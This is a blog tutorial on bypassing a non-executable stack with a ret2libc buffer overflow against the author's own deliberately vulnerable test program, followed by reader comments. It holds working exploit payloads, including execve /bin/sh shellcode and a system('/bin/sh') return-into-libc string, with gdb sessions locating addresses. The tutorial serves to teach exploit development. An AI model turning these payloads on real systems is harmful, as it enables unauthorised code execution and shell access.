Vulnerability Development: Buffer Overflows: How To Bypass Non Executable Stack (NX)…

Hey,

Leading on from my previous post where I discussed a method know as ‘ret2reg’ (return to register, or in our case a simple jump to esp) for bypassing ASLR, today I am going to discuss a method known as ‘ret2libc’ (return to libc) to allows us to circumvent the non-executable stack protection.

When exploiting stack based buffer overflows generally speaking you overwrite past the vulnerable buffer and in turn overwrite the function saved return address. So that when the function finishes and returns to whomever called it, you gain control of execution. Usually we subvert the control of execution towards shellcode placed on the stack. In the event of a non-executable stack the program will just segmentation fault and crash. So how do we get around this? Simple, we return into libc and utilize the standard library function ‘system()’ with the argument ‘/bin/sh’ and we shall get a shell that way!

Let’s use the example vulnerable program from the earlier post and re-visit the ASLR bypass that we used to exploit it:

dusty@devbox:~/Code/ASLR$ gcc vuln.c -o vuln -ggdb -fno-stack-protector -z execstack
dusty@devbox:~/Code/ASLR$ #  Compiled it with -z execstack - turns on executable stack :-)
dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "xf7x83x04x08" . "xebx18x5ex31xc0x88x46x07x89x76x08x89x46x0cxb0x0bx8dx1ex8dx4ex08x8dx56x0cxcdx80xe8xe3xffxffxffx2fx62x69x6ex2fx73x68"')
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF
                                                                                                                                °
                                                                                                                                 V
                                                                                                                                  Íèãÿÿÿ/bin/sh].
$ exit

So the exploit worked exactly as it did before in the earlier post. Let’s take a look now and see what happens when we re-compile the same code just with a non-executable stack…

dusty@devbox:~/Code/ASLR$ gcc vuln.c -o vuln -ggdb -fno-stack-protector
dusty@devbox:~/Code/ASLR$ # Ok the stack is now non-executable.  Let's try the same exploit..
dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "xf7x83x04x08" . "xebx18x5ex31xc0x88x46x07x89x76x08x89x46x0cxb0x0bx8dx1ex8dx4ex08x8dx56x0cxcdx80xe8xe3xffxffxffx2fx62x69x6ex2fx73x68"')
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF
                                                                                                                                °
                                                                                                                                 V
                                                                                                                                  Íèãÿÿÿ/bin/sh].
Segmentation fault (core dumped)
dusty@devbox:~/Code/ASLR$ gdb -c core ./vuln -q
Reading symbols from /home/dusty/Code/ASLR/vuln...done.
[New Thread 30581]

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfa046d0 in ?? ()
(gdb) x/38wx $eip
0xbfa046d0:     0x315e18eb      0x074688c0      0x89087689      0x0bb00c46
0xbfa046e0:     0x4e8d1e8d      0x0c568d08      0xe3e880cd      0x2fffffff
0xbfa046f0:     0x2f6e6962      0xbf006873      0xb7818136      0xb7827ad0
0xbfa04700:     0xb7808b28      0xb77f2ff4      0x00000000      0x00000000
0xbfa04710:     0xbfa04748      0x455d75b5      0xd3c98da4      0x00000000
0xbfa04720:     0x00000000      0x00000000      0x00000002      0x08048340
0xbfa04730:     0x00000000      0xb781dd90      0xb76b0c0b      0xb7826ff4
0xbfa04740:     0x00000002      0x08048340      0x00000000      0x08048361
0xbfa04750:     0x080483fb      0x00000002      0xbfa04774      0x08048450
0xbfa04760:     0x08048440      0xb7818b60
(gdb) quit
dusty@devbox:~/Code/ASLR$

After re-compiling the source without the executable stack option so the stack for the binary is now non-executable. I then proceeded to re-run the payload from the ASLR exploit and as we expected the vulnerable program crashed. If we look at the crash we can see it crashed on our shellcode because it couldn’t execute it If you would like to validate this then I suggest setting a break point on the call to strcpy() and then stepping through the code until it segmentation faults and crashes you’ll see that it lands on the shellcode and because that part of memory isn’t executable it won’t obviously execute our shellcode. For the purpose of keeping this post short and to the point I’ll move on…

Let’s take a look at how we can bypass this:

dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "ABCDBBBBCCCC"')
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDBBBBCCCC].
Segmentation fault (core dumped)
dusty@devbox:~/Code/ASLR$ gdb -c core ./vuln

Reading symbols from /home/dusty/Code/ASLR/vuln...done.
[New Thread 2559]

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x44434241 in ?? ()
(gdb) p &system
$1 = ( *) 0xb7eab680
(gdb) x/100s $esp
0xbffff6d0:      "BBBBCCCC"
0xbffff6d9:      "367377277Hb376267320367377277377377377377364357377267C20204b01"
0xbffff6f2:      ""

*** SNIP ***

0xbffff89a:      "./vuln"
0xbffff8a1:      'A' , "BCDBBBBCCCC"
0xbffff91e:      "TERM=xterm"
0xbffff929:      "SHELL=/bin/bash"
0xbffff939:      "XDG_SESSION_COOKIE=1f06f7cf4cf796cb585da53d00000009-1301706321.795727-1768639278"
0xbffffffe:      ""
(gdb) p &system
$2 = ( *) 0xb7eab680
(gdb) quit
dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "x80xb6xeaxb7JUNKx29xf9xffxbf"')
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¶ê·JUNK)ùÿ¿].
Segmentation fault (core dumped)
dusty@devbox:~/Code/ASLR$ gdb -c core ./vuln

Reading symbols from /home/dusty/Code/ASLR/vuln...done.
[New Thread 2568]

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x4b4e554a in ?? ()
(gdb) p /c 0x4a
$1 = 74 'J'
(gdb) p /c 0x55
$2 = 85 'U'
(gdb) p /c 0x4e
$3 = 78 'N'
(gdb) p /c 0x4b
$4 = 75 'K'
(gdb) bt
#0  0x4b4e554a in ?? ()
#1  0xbffff929 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) x/x 0xbffff929
0xbffff929:     0x4c454853
(gdb) x/s 0xbffff929
0xbffff929:      "SHELL=/bin/bash"
(gdb) x/s 0xbffff929+6
0xbffff92f:      "/bin/bash"
(gdb) # Let's use this address: 0xbffff92f
(gdb) quit
dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "x80xb6xeaxb7JUNKx2fxf9xffxbf"')
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¶ê·JUNK/ùÿ¿].
dusty@devbox:~/Code/ASLR$ # Yay, it dropped us into /bin/sh, watch me exit out of it now :-)
dusty@devbox:~/Code/ASLR$ exit
exit
Segmentation fault (core dumped)
dusty@devbox:~/Code/ASLR$ # The core dump will have crashed on JUNK as that's the return address.. exploit successful :-)
dusty@devbox:~/Code/ASLR$

Excellent, it worked! So, what happened?

Well, first the structure of the overwrite is like so:

[Address of &system][4 Byte Junk][System’s Arguments (‘/bin/sh’)]

We are overwriting the saved return address with the address of system() function so that when main returns it returns into libc and executes system(‘/bin/sh’). This then drops us a shell and we bypass non-executable stack.

For further reading on the topic I highly recommend the following paper:

The Advanced return-into-lib(c) Exploits

Again, if you have any questions, comments or feedback please leave me some comments. I have tried to skim over the detail quite a bit because after all this is just a blog. What I am trying to do is encourage questions from the readers and I will do my best to answer them. I don’t want to get bogged down in too much detail in the main post because it is so easy to do and then I might as well just write a white paper..

I look forward to you’re comments..

5 thoughts on “Vulnerability Development: Buffer Overflows: How To Bypass Non Executable Stack (NX)…

  1. I really enjoyed the article, now i have a question about exploits, can i redirect the ret to the address of LoadLibraryA? and pass the argument to it?

  2. @legend, thank you,

    @RosDevil, what exactly are you trying to do? I would need a bit more context around the question please.

  3. RosDevil, i guess you should push into the stack the parameters for LoadLibraryA, the problem is that you’ll find an string inside some still loaded DLL of the programa you’re exploiting, because you can not just push an static address of stack with ASLR, neither execute code inside stack because of NX… you should use existing code inside the application you’re exploiting, and point RETADDR to that code. Then LoadLibraryA will work. But as I said… very limited.

    hope this helps.

Comments are closed.